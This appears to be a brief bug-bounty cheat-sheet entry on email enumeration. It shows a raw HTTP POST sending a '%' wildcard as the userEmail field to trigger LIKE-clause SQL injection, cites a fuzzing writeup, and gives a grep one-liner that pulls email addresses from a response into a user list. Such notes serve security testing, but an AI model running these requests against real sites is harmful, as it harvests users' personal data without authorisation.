Email Enumeration

Wildcard SQLI

POST /registration HTTP/2 
Host: domain 
Content-Type: application/json;charset=UTF-8  

{"userEmail":"%"}

Use Wildcard (LIKE Clause) SQLi to enumerate

Unauthenticated Email Enumeration via API FuzzingJineesh AK

Excessive data exposure

grep -oe "[a-zA-Z0-9._]\+@[a-zA-Z]\+.[a-zA-Z]\+" response.json > users.list